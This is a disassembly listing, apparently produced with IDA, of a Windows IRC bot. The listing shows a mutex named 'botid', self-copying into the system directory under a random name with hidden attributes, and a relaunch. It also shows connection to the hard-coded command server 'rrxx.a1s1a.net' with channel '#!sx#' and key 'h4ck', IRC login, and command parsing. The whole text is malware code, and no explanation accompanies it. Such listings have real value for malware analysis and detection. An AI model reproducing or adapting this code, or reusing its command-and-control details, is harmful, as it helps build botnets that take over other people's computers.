loc_40E5A8: ; CODE XREF: sub_40E499+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E5AF: ; CODE XREF: sub_40E499+C2j
; sub_40E499+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40E5BB
; ---------------------------------------------------------------------------
loc_40E5B6: ; CODE XREF: sub_40E499+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40E5BB: ; CODE XREF: sub_40E499+40j
; sub_40E499+4Aj ...
push offset byte_440C88 ; Dest
call _sprintf
pop ecx
mov eax, offset byte_440C88
pop ecx
retn
sub_40E499 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40E5CD(char *Source)
sub_40E5CD proc near ; CODE XREF: sub_40EE51+225Ep
Dest = word ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
Source = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h ; MaxCount
push [ebp+Source] ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _mbstowcs
add esp, 0Ch
lea eax, [ebp+Source]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+Source], esi
call ds:dword_423154 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi ; MaxCount
push eax ; Source
lea eax, [ebp+var_318]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+Dest]
push eax ; Str
call _wcslen
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call ds:dword_43C628
test eax, eax
jnz short loc_40E65D
mov esi, offset byte_440A84
push offset dword_42E568 ; Format
push esi ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_40E686
; ---------------------------------------------------------------------------
loc_40E65D: ; CODE XREF: sub_40E5CD+7Aj
lea ecx, [ebp+Dest]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_40E499
pop ecx
mov esi, offset byte_440A84
push eax
push offset dword_42E530 ; Format
push esi ; Dest
call _sprintf
add esp, 14h
loc_40E686: ; CODE XREF: sub_40E5CD+8Ej
mov eax, esi
pop esi
leave
retn
sub_40E5CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E68B proc near ; CODE XREF: _WinMainCRTStartup+C9p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
Filename = byte ptr -6F4h
Str = byte ptr -5F4h
Ext = byte ptr -4F0h
SubStr = byte ptr -3F0h
FullPath = byte ptr -2ECh
Dest = byte ptr -1E8h
Source = byte ptr -0E4h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_20 = byte ptr -20h
Dst = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_C], ebx
mov [ebp+var_8], offset sub_40D39C
push [ebp+var_8]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_423054
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_486C00, eax
call esi ; GetTickCount
push eax
call sub_4172EE
pop ecx
call sub_40981A
push 2
call ds:dword_43C6C4 ; SetErrorMode
push 7530h
push offset aBotid ; "botid"
push ebx
push ebx
call ds:dword_423164 ; CreateMutexA
push eax
call ds:dword_423084 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_40E708
push 1
call ds:dword_42314C
loc_40E708: ; CODE XREF: sub_40E68B+73j
lea eax, [ebp+var_884]
push eax
push 202h
call ds:dword_43C590 ; WSAStartup
cmp eax, ebx
mov [ebp+var_8], eax
jnz loc_40EB68
cmp [ebp+var_884], 2
jnz loc_40EB62
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_40EB62
mov esi, 104h
lea eax, [ebp+SubStr]
push esi
push eax
call ds:dword_423064 ; GetSystemDirectoryA
lea eax, [ebp+FullPath]
push esi
push eax
push ebx
call ds:dword_4230FC
push eax
call ds:dword_423090 ; GetModuleFileNameA
lea eax, [ebp+Ext]
push eax ; Ext
lea eax, [ebp+Filename]
push eax ; Filename
push ebx ; Dir
lea eax, [ebp+FullPath]
push ebx ; Drive
push eax ; FullPath
call __splitpath
lea eax, [ebp+Ext]
push eax
lea eax, [ebp+Filename]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp+Str]
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
lea eax, [ebp+FullPath]
push eax ; Str
call _strstr
add esp, 30h
test eax, eax
jnz loc_40E96B
cmp ds:dword_486D70, ebx
mov esi, offset byte_42E664
jz short loc_40E803
push esi ; Str
xor edi, edi
call _strlen
sub eax, 4
pop ecx
jz short loc_40E803
loc_40E7E0: ; CODE XREF: sub_40E68B+176j
call _rand
push 1Ah
cdq
pop ecx
idiv ecx
push esi ; Str
add dl, 61h
mov ds:byte_42E664[edi], dl
inc edi
call _strlen
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40E7E0
loc_40E803: ; CODE XREF: sub_40E68B+145j
; sub_40E68B+153j
lea eax, [ebp+SubStr]
push esi
push eax
lea eax, [ebp+Dest]
push offset aSS_3 ; "%s\\%s"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+Dest]
push eax
call ds:dword_4230A4 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_40E843
lea eax, [ebp+Dest]
push 80h
push eax
call ds:dword_423128 ; SetFileAttributesA
loc_40E843: ; CODE XREF: sub_40E68B+1A4j
mov esi, ds:dword_423160
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
xor edi, edi
push eax
loc_40E85A: ; CODE XREF: sub_40E68B+206j
call esi ; CopyFileA
test eax, eax
jnz short loc_40E893
call ds:dword_423088 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40E893
cmp eax, 20h
jz short loc_40E874
cmp eax, 5
jnz short loc_40E893
loc_40E874: ; CODE XREF: sub_40E68B+1E2j
push 1
pop edi
push 3A98h
call ds:dword_423060 ; Sleep
lea eax, [ebp+Dest]
push ebx
push eax
lea eax, [ebp+FullPath]
push eax
jmp short loc_40E85A
; ---------------------------------------------------------------------------
loc_40E893: ; CODE XREF: sub_40E68B+1D3j
; sub_40E68B+1DDj ...
lea eax, [ebp+Dest]
push eax
call sub_40AB77
pop ecx
lea eax, [ebp+Dest]
push 7
push eax
call ds:dword_423128 ; SetFileAttributesA
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
push 44h
lea eax, [ebp+var_64]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_64], esi
mov [ebp+var_58], offset byte_4397BC
mov [ebp+var_34], bx
push 1
pop esi
mov [ebp+var_38], esi
call ds:dword_42315C ; GetCurrentProcessId
push eax
push esi
push 100000h
call ds:dword_4230F8 ; OpenProcess
lea ecx, [ebp+FullPath]
push ecx
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_988]
push offset aSDS ; "%s %d \"%s\""
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+SubStr]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+Dest]
push eax
call ds:dword_423120 ; CreateProcessA
test eax, eax
jz short loc_40E96B
push 0C8h
call ds:dword_423060 ; Sleep
push [ebp+Dst]
mov esi, ds:dword_423074
call esi
push [ebp+var_18]
call esi
call ds:dword_43C578 ; WSACleanup
push ebx
call ds:dword_42314C
loc_40E96B: ; CODE XREF: sub_40E68B+134j
; sub_40E68B+2B6j
cmp ds:dword_486FE8, 2
jle short loc_40E9B7
mov eax, ds:dword_486FEC
push dword ptr [eax+4] ; Str
call _atoi
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_423084 ; WaitForSingleObject
push esi
call ds:dword_423074
mov eax, ds:dword_486FEC
cmp [eax+8], ebx
jz short loc_40E9B7
push 7D0h
call ds:dword_423060 ; Sleep
mov eax, ds:dword_486FEC
push dword ptr [eax+8]
call ds:dword_423158 ; DeleteFileA
loc_40E9B7: ; CODE XREF: sub_40E68B+2E7j
; sub_40E68B+311j
cmp ds:dword_42E5BC, ebx
jz short loc_40E9D4
cmp ds:dword_43C6E8, ebx
jnz short loc_40E9D4
lea eax, [ebp+Str]
push eax ; Str
call sub_40C1B0
pop ecx
loc_40E9D4: ; CODE XREF: sub_40E68B+332j
; sub_40E68B+33Aj
lea eax, [ebp+Source]
push offset dword_434104 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push ebx ; int
push eax ; Source
call sub_416D48
lea eax, [ebp+Source]
push eax
call sub_40BF6F
push 0B80h ; Size
push ebx ; Val
push offset Str1 ; Dst
call _memset
call _rand
push 7Fh ; Count
push offset aRrxx_a1s1a_net ; "rrxx.a1s1a.net"
push offset byte_486C0C ; Dest
mov ds:dword_486D84, ebx
call _strncpy
mov eax, ds:dword_42E5A0
push 3Fh ; Count
mov edi, offset byte_486C8C
push offset aSx ; "#!sx#"
push edi ; Dest
mov ds:dword_486D5C, eax
call _strncpy
push 3Fh ; Count
mov esi, offset byte_486CCC
push offset aH4ck ; "h4ck"
push esi ; Dest
call _strncpy
add esp, 48h
mov ds:dword_486D60, ebx
loc_40EA62: ; CODE XREF: sub_40E68B+47Dj
; sub_40E68B+488j ...
mov [ebp+var_4], ebx
loc_40EA65: ; CODE XREF: sub_40E68B+431j
cmp ds:dword_43C700, ebx
jnz short loc_40EA83
lea eax, [ebp+var_20]
push ebx
push eax
call ds:dword_43C55C ; InternetGetConnectedState
test eax, eax
jnz short loc_40EA83
push 7530h
jmp short loc_40EAAF
; ---------------------------------------------------------------------------
loc_40EA83: ; CODE XREF: sub_40E68B+3E0j
; sub_40E68B+3EFj
push offset dword_486C08
mov ds:dword_486D80, ebx
call sub_40EB71
cmp eax, 2
mov [ebp+var_8], eax
jz loc_40EB5D
cmp ds:dword_486D80, ebx
jz short loc_40EAAA
dec [ebp+var_4]
loc_40EAAA: ; CODE XREF: sub_40E68B+41Aj
push 0BB8h
loc_40EAAF: ; CODE XREF: sub_40E68B+3F6j
call ds:dword_423060 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40EA65
cmp [ebp+var_8], 2
jz loc_40EB5D
cmp [ebp+var_C], ebx
jz short loc_40EB0D
push 7Fh ; Count
push offset aRrxx_a1s1a_net ; "rrxx.a1s1a.net"
push offset byte_486C0C ; Dest
call _strncpy
mov eax, ds:dword_42E5A0
push 3Fh ; Count
push offset aSx ; "#!sx#"
push edi ; Dest
mov ds:dword_486D5C, eax
call _strncpy
push 3Fh ; Count
push offset aH4ck ; "h4ck"
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_40EA62
; ---------------------------------------------------------------------------
loc_40EB0D: ; CODE XREF: sub_40E68B+440j
cmp ds:byte_42E644, bl
jz loc_40EA62
push 7Fh ; Count
push offset byte_42E644 ; Source
push offset byte_486C0C ; Dest
call _strncpy
mov eax, ds:dword_42E5A4
push 3Fh ; Count
push offset aSx_0 ; "#!sx#"
push edi ; Dest
mov ds:dword_486D5C, eax
call _strncpy
push 3Fh ; Count
push offset aH4ck_0 ; "h4ck"
push esi ; Dest
call _strncpy
add esp, 24h
mov [ebp+var_C], 1
jmp loc_40EA62
; ---------------------------------------------------------------------------
loc_40EB5D: ; CODE XREF: sub_40E68B+40Ej
; sub_40E68B+437j
call sub_416F11
loc_40EB62: ; CODE XREF: sub_40E68B+A1j
; sub_40E68B+B1j
call ds:dword_43C578 ; WSACleanup
loc_40EB68: ; CODE XREF: sub_40E68B+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40E68B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB71 proc near ; CODE XREF: sub_40E68B+403p
; DATA XREF: sub_40EE51+3B1Do
var_190 = dword ptr -190h
Args = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
Dest = byte ptr -2Ch
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40EB96: ; CODE XREF: sub_40EB71+E6j
; sub_40EB71+136j ...
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call ds:dword_43C618 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+Args]
push eax
call sub_40ADC5
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40ECC3
push 1Ch ; Size
lea eax, [ebp+Dest]
push 0 ; Val
push eax ; Dst
call _memset
push 0 ; Str1
lea eax, [ebp+Dest]
push ds:dword_486D74 ; int
push ds:dword_42E5C8 ; int
push eax ; Dest
call sub_415CF0
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh ; Count
add eax, offset byte_442088
push edi ; Source
push eax ; Dest
call _strncpy
add esp, 28h
push 6
push 1
push 2
call ds:dword_43C698 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov ds:dword_44207C[eax], esi
lea eax, [ebp+Dst]
push eax
push esi
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EC5C
push esi
call ds:dword_43C6B0 ; closesocket
call sub_40ADEE
push 7D0h
loc_40EC51: ; CODE XREF: sub_40EB71+146j
call ds:dword_423060 ; Sleep
jmp loc_40EB96
; ---------------------------------------------------------------------------
loc_40EC5C: ; CODE XREF: sub_40EB71+CDj
lea eax, [ebp+Args]
push eax ; Args
push offset dword_434138 ; Format
call sub_40BFE3
push [ebp+var_38]
lea eax, [ebp+Args]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40ECD9
add esp, 28h
mov edi, eax
push esi
call ds:dword_43C6B0 ; closesocket
test edi, edi
jz loc_40EB96
cmp edi, 1
jnz short loc_40ECB9
push 0DBBA0h
jmp short loc_40EC51
; ---------------------------------------------------------------------------
loc_40ECB9: ; CODE XREF: sub_40EB71+13Fj
cmp edi, 2
jz short loc_40ECC7
jmp loc_40EB96
; ---------------------------------------------------------------------------
loc_40ECC3: ; CODE XREF: sub_40EB71+5Aj
xor eax, eax
jmp short loc_40ECD3
; ---------------------------------------------------------------------------
loc_40ECC7: ; CODE XREF: sub_40EB71+14Bj
push [ebp+var_34]
call sub_417064
pop ecx
push 2
pop eax
loc_40ECD3: ; CODE XREF: sub_40EB71+154j
pop edi
pop esi
leave
retn 4
sub_40EB71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECD9 proc near ; CODE XREF: sub_40EB71+123p
Dst = byte ptr -1A10h
var_A10 = dword ptr -0A10h
var_240 = dword ptr -240h
Str1 = byte ptr -1A0h
Str = byte ptr -0A0h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Source = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call __alloca_probe
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+Str1]
pop ecx
loc_40ECF7: ; CODE XREF: sub_40ECD9+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40ECF7
cmp ds:byte_486D7C, bl
jz short loc_40ED1E
push offset byte_486D7C ; Args
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0] ; int
call sub_40D62A
add esp, 0Ch
loc_40ED1E: ; CODE XREF: sub_40ECD9+2Ej
push [ebp+Source]
lea eax, [ebp+Dest]
push ebx ; Str1
push ebx ; int
push 2 ; int
push eax ; Dest
call sub_415CF0
add esp, 10h
push eax
lea eax, [ebp+Str]
push [ebp+Source]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push [ebp+arg_0]
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40ED88
push [ebp+arg_0]
call ds:dword_43C6B0 ; closesocket
push 1388h
call ds:dword_423060 ; Sleep
loc_40ED81: ; CODE XREF: sub_40ECD9+D9j
; sub_40ECD9+153j
xor eax, eax
loc_40ED83: ; CODE XREF: sub_40ECD9+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ED88: ; CODE XREF: sub_40ECD9+92j
; sub_40ECD9+F8j ...
mov esi, 1000h
lea eax, [ebp+Dst]
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_43C630 ; recv
test eax, eax
jle short loc_40ED81
lea eax, [ebp+var_A10]
push eax ; int
lea eax, [ebp+Dst]
push eax ; Str
call sub_40A863
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40ED88
lea edi, [ebp+var_A10]
loc_40EDD9: ; CODE XREF: sub_40ECD9+165j
push 1
pop esi
loc_40EDDC: ; CODE XREF: sub_40ECD9+144j
push [ebp+arg_1C] ; int
lea eax, [ebp+var_8]
push esi ; File
push eax ; int
lea eax, [ebp+var_240]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
push [ebp+arg_18] ; int
push [ebp+Source] ; Source
push [ebp+arg_8] ; int
push [ebp+arg_4] ; int
push [ebp+arg_0] ; int
push dword ptr [edi] ; Src
call sub_40EE51
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40EE1F
push 7D0h
call ds:dword_423060 ; Sleep
jmp short loc_40EDDC
; ---------------------------------------------------------------------------
loc_40EE1F: ; CODE XREF: sub_40ECD9+137j
cmp esi, 0FFFFFFFDh
jz short loc_40EE49
cmp esi, 0FFFFFFFEh
jz short loc_40EE45
cmp esi, 0FFFFFFFFh
jz loc_40ED81
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40EDD9
jmp loc_40ED88
; ---------------------------------------------------------------------------
loc_40EE45: ; CODE XREF: sub_40ECD9+14Ej
push 1
jmp short loc_40EE4B
; ---------------------------------------------------------------------------
loc_40EE49: ; CODE XREF: sub_40ECD9+149j
push 2
loc_40EE4B: ; CODE XREF: sub_40ECD9+16Ej
pop eax
jmp loc_40ED83
sub_40ECD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40EE51(char *Src,int,int,int,char *Source,int,char *Str1,int,int,char *File,int)
sub_40EE51 proc near ; CODE XREF: sub_40ECD9+12Ap
var_15B0 = dword ptr -15B0h
var_11B0 = byte ptr -11B0h
Str = byte ptr -0FB0h
var_DB0 = byte ptr -0DB0h
var_CB0 = byte ptr -0CB0h
var_CAC = byte ptr -0CACh
Filename = byte ptr -0BACh
var_BA8 = byte ptr -0BA8h
var_AA8 = byte ptr -0AA8h
var_A28 = byte ptr -0A28h
var_9C7 = byte ptr -9C7h
var_9C6 = byte ptr -9C6h
var_9C4 = byte ptr -9C4h
var_9C3 = byte ptr -9C3h
var_9BA = byte ptr -9BAh
var_9B8 = byte ptr -9B8h
var_9B6 = byte ptr -9B6h
var_9B5 = byte ptr -9B5h
var_928 = byte ptr -928h
var_90C = dword ptr -90Ch
var_908 = byte ptr -908h
var_804 = dword ptr -804h
var_800 = dword ptr -800h
var_7FC = byte ptr -7FCh
var_7F8 = dword ptr -7F8h
var_7F4 = byte ptr -7F4h
var_7F0 = dword ptr -7F0h
var_7EC = dword ptr -7ECh
var_7E8 = byte ptr -7E8h
var_780 = byte ptr -780h
var_774 = byte ptr -774h
var_770 = dword ptr -770h
var_76C = byte ptr -76Ch
var_768 = byte ptr -768h
var_75C = byte ptr -75Ch
var_73C = dword ptr -73Ch
var_738 = byte ptr -738h
var_710 = dword ptr -710h
var_708 = byte ptr -708h
var_6FC = dword ptr -6FCh
var_6F8 = byte ptr -6F8h
Dest = byte ptr -6F4h
var_6F0 = dword ptr -6F0h
var_6EC = byte ptr -6ECh
var_6E8 = byte ptr -6E8h
var_6B8 = byte ptr -6B8h
var_681 = byte ptr -681h
var_680 = byte ptr -680h
var_678 = byte ptr -678h
var_670 = byte ptr -670h
var_66C = byte ptr -66Ch
var_668 = byte ptr -668h
var_5F8 = byte ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = dword ptr -5F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = dword ptr -564h
var_560 = dword ptr -560h
var_55C = byte ptr -55Ch
var_50C = dword ptr -50Ch
var_508 = byte ptr -508h
var_504 = dword ptr -504h
var_500 = byte ptr -500h
var_4F4 = dword ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = byte ptr -4E8h
var_4C0 = dword ptr -4C0h
var_4A0 = dword ptr -4A0h
var_488 = byte ptr -488h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = byte ptr -45Ch
var_458 = byte ptr -458h
var_444 = byte ptr -444h
var_434 = byte ptr -434h
var_420 = dword ptr -420h
var_41C = dword ptr -41Ch
var_418 = byte ptr -418h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
FullPath = byte ptr -3FCh
var_3F8 = byte ptr -3F8h
var_3D8 = byte ptr -3D8h
var_3B4 = byte ptr -3B4h
var_398 = byte ptr -398h
var_388 = byte ptr -388h
var_334 = dword ptr -334h
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2EC = word ptr -2ECh
var_2EA = word ptr -2EAh
Drive = dword ptr -2E8h
Dst = byte ptr -2DCh
var_DC = dword ptr -0DCh
var_D8 = byte ptr -0D8h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
SubStr = byte ptr -0B8h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = byte ptr -0A4h
Str2 = dword ptr -94h
var_90 = dword ptr -90h
Format = dword ptr -8Ch
var_88 = dword ptr -88h
Args = byte ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_54 = byte ptr -54h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Source = dword ptr 18h
arg_14 = dword ptr 1Ch
Str1 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
File = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 15B0h
call __alloca_probe
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_C0], 3
mov [ebp+var_10], ebx
mov [ebp+var_AC], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_DC], ebx
call _memset
push 1Bh ; Count
lea eax, [ebp+var_928]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
add esp, 18h
cmp [ebp+Src], ebx
jz loc_40F215
push esi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
dec esi
lea eax, [ebp+Str]
push esi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push offset asc_43778C ; " :"
push eax ; Str
call _strstr
mov [ebp+var_C], eax
lea eax, [ebp+Str]
push esi ; Count
push eax ; Source
lea eax, [ebp+var_11B0]
push eax ; Dest
call _strncpy
mov esi, offset asc_4293B4 ; " "
lea eax, [ebp+var_11B0]
push esi ; Delim
push eax ; Str
call _strtok
add esp, 34h
mov [ebp+Str2], eax
lea edi, [ebp+var_90]
mov [ebp+var_BC], 1Fh
loc_40EF24: ; CODE XREF: sub_40EE51+E7j
push esi ; Delim
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_BC]
pop ecx
jnz short loc_40EF24
mov esi, [ebp+Str2]
cmp esi, ebx
jz loc_40F215
cmp [ebp+var_90], ebx
jz loc_40F215
push 100h ; Size
lea eax, [ebp+var_A28]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_18]
push 1Fh
pop edx
push 1
pop edi
loc_40EF72: ; CODE XREF: sub_40EE51+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_40EF9E
cmp byte ptr [eax], 2Dh
jnz short loc_40EFA6
cmp [eax+2], bl
jnz short loc_40EFA6
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_A28], 1
mov esi, [ebp+Str2]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40EF9E: ; CODE XREF: sub_40EE51+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40EF72
loc_40EFA6: ; CODE XREF: sub_40EE51+12Aj
; sub_40EE51+12Fj
cmp [ebp+var_9B5], bl
jz short loc_40EFB1
mov [ebp+var_8], edi
loc_40EFB1: ; CODE XREF: sub_40EE51+15Bj
cmp [ebp+var_9BA], bl
jz short loc_40EFBF
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_40EFBF: ; CODE XREF: sub_40EE51+166j
cmp byte ptr [esi], 0Ah
jz short loc_40EFF9
push 7Fh ; Count
lea eax, [ebp+var_AA8]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [esi+1]
push 17h ; Count
push eax ; Source
lea eax, [ebp+var_D8]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_D8]
push offset asc_437788 ; "!"
push eax ; Str
call _strtok
add esp, 20h
loc_40EFF9: ; CODE XREF: sub_40EE51+171j
push esi ; Str2
push offset aPing ; "PING"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F04A
push [ebp+var_90] ; Args
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40F0EE
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
add esp, 10h
jmp loc_40F0EE
; ---------------------------------------------------------------------------
loc_40F04A: ; CODE XREF: sub_40EE51+1B7j
mov esi, [ebp+var_90]
push esi ; Str2
push offset a001 ; "001"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4150C8
push esi ; Str2
push offset a005 ; "005"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4150C8
push esi ; Str2
push offset a302 ; "302"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0B5
push offset a@ ; "@"
push [ebp+var_88] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40F0EE
inc eax
push 9Fh ; Count
push eax ; Source
push [ebp+arg_1C] ; Dest
call _strncpy
add esp, 0Ch
jmp short loc_40F0EE
; ---------------------------------------------------------------------------
loc_40F0B5: ; CODE XREF: sub_40EE51+238j
push esi ; Str2
push offset a433 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F0F5
push ebx ; Str1
push ds:dword_486D74 ; int
push ds:dword_42E5C8 ; int
push [ebp+Source] ; Dest
call sub_415CF0
push [ebp+Source] ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
add esp, 1Ch
loc_40F0EE: ; CODE XREF: sub_40EE51+1D8j
; sub_40EE51+1F4j ...
mov eax, edi
jmp loc_40F218
